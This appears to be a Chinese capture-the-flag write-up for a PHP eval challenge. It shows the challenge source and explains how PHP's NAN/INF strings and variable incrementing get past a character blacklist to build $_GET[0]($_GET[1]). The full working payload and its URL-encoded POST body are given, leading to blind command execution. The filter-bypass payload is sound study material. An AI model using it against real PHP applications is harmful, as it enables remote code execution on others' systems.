没有打比赛,但是有个师傅问了我这题,做了一下发现不会,学习了一波Y4师傅的WP。
f12传个?🐶
既可以获得完整的源码:
<?php
if(isset($_GET['🐶'])) {
highlight_file(__FILE__);
}
function filter($payload) {
if (preg_match("/[a-zA-BD-Z!@#%^&*:'\"|`~\\\\]|3|5|6|9/",$payload)) {
return true;
}
}
?>
<!-- ?🐶 -->
<?php
error_reporting(0);
include "config.php";
if (isset($_POST['VietNam'])) {
$VN = $_POST['VietNam'];
if (filter($VN)) {
die("nope!!");
}
if (!is_string($VN) || strlen($VN) > 110) {
die("18cm30p ??? =)))");
}
else {
$VN = "echo ".$VN.";";
eval($VN);
}
} else {
if (isset($_GET['check'])) {
echo phpinfo();
}
else {
highlight_file(__FILE__);
}
}
?>
命令执行,限制了长度。对于数字字母,只有大写字母C和数字12478可以用。
异或,或,取反都ban了,还剩下自增可以用。
先说说我失败的思路叭。传?check
可以得到phpinfo,发现ban了太多的函数,但是没ban掉exec
,因此可以考虑用exec
来执行命令。但是自增的话,从C开始自增,不管怎么弄,都会超过长度110,因此就没想到好的办法,请教了一下Y4师傅。
解法的话,就是可以用到PHP中的NAN和INF:
NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。
INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。
如何得到呢?可以这样:
$_=C/C;//NAN
$_=1/C//INF
C/C
这里,实际上运算的时候会变成0/0
。而下面的则是1/0
。
但是这还不是字符串,需要来个拼接即可,这样就可以去到N:
$_=C/C.C;
var_dump($_[0]);
这样不用通过从C自增到N,可以减少很多的长度。
接下来就是想办法构造_GET
,慢慢自增来拿到字母,然后拼接:
$_=C;++$_;$C=++$_;++$_;$__=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;++$_;$_=_.$__.$C.$_;
最后这样即可:
$$_[0]($$_[1]);
相当于$_GET[0]($_GET[1])
。
学到了学到了。
所以就是:
$_=C;++$_;$C=++$_;++$_;$__=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;++$_;$_=_.$__.$C.$_;$$_[0]($$_[1]);
post传的话还需要url编码。
VietNam=C%3B%24_%3DC%3B%2B%2B%24_%3B%24C%3D%2B%2B%24_%3B%2B%2B%24_%3B%24__%3D%2B%2B%24_%3B%24_%3D%28C%2FC.C%29%5B0%5D%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%24_%3D_.%24__.%24C.%24_%3B%24%24_%5B0%5D%28%24%24_%5B1%5D%29
之后无回显命令执行,找flag即可。